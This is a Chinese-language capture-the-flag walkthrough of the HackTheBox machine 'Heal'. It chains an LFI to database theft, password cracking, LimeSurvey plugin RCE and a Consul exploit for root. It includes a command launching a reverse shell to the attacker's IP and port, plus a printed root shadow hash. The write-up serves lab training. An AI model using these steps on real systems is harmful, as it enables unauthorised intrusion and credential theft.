基本信息
- https://app.hackthebox.com/machines/Heal
- 10.10.11.46

端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.46 |
80
需要加hosts:
1 | 10.10.11.46 heal.htb |
在线简历相关的:

api
尝试注册会向api发出请求,同样加入hosts后继续
1 | api.heal.htb |

访问api首页可以看到使用ruby rails:

survey
survey中可以得到另一个子域名
1 | take-survey.heal.htb |

回到首页,可以看到一个邮箱地址,以及使用的LimeSurvey

LimeSurvey
LimeSurvey默认登录页面,但现在还缺少认证信息:

API LFI
回到主站,导出简历功能,filename参数,很明显的LFI:

前面也知道api使用的rails,所以去读取rails相关文件:
- Configuring Rails Applications — Ruby on Rails Guides
https://guides.rubyonrails.org/v4.1/configuring.html
得到数据库文件路径,继续获取数据库:


database
数据库中得到hash。破解出密码:
1 | select * from users; |
LimeSurvey
得到的账号密码可以登录LimeSurvey,看到版本6.6.4:

CVE-2021-44967
搜索可以找到相关漏洞:
- [CVE-2021-44967] LimeSurvey RCE
https://ine.com/blog/cve-2021-44967-limesurvey-rce - Y1LD1R1M-1337/Limesurvey-RCE: LimeSurvey Authenticated RCE
https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
修改config加入6.0版本,修改php文件中的ip和端口,压缩zip,上传激活插件,访问触发shell,得到www-data:

然后常规配置文件中得到一个密码:
1 | www-data@heal:~/limesurvey/application/config$ cat config.php |
user flag
得到的数据库密码就是ron用户密码,ssh登录:
1 | ssh ron@10.10.11.46 |

Consul
常规枚举发现一些本地端口,转发出来查看,其中8500是Consul 1.19.2:
1 | ssh ron@10.10.11.46 -L 8500:127.0.0.1:8500 |

搜索到相关漏洞:
- Hashicorp Consul v1.0 - Remote Command Execution (RCE) - Multiple remote Exploit
https://www.exploit-db.com/exploits/51117
提权 & root flag
Consul exp打到root,最后的token参数随意即可:
1 | python3 51117.py 127.0.0.1 8500 10.10.14.7 4445 miao |


shadow
1 | root:$y$j9T$PXt5gUmlNdTkrYBWtWJ.g0$KMKlRSr0.BNG0zhjcDIKvNsPkce/xbEtF22T1w/xKR8:19993:0:99999:7::: |
参考资料
- Configuring Rails Applications — Ruby on Rails Guides
https://guides.rubyonrails.org/v4.1/configuring.html - [CVE-2021-44967] LimeSurvey RCE
https://ine.com/blog/cve-2021-44967-limesurvey-rce - Y1LD1R1M-1337/Limesurvey-RCE: LimeSurvey Authenticated RCE
https://github.com/Y1LD1R1M-1337/Limesurvey-RCE - Hashicorp Consul v1.0 - Remote Command Execution (RCE) - Multiple remote Exploit
https://www.exploit-db.com/exploits/51117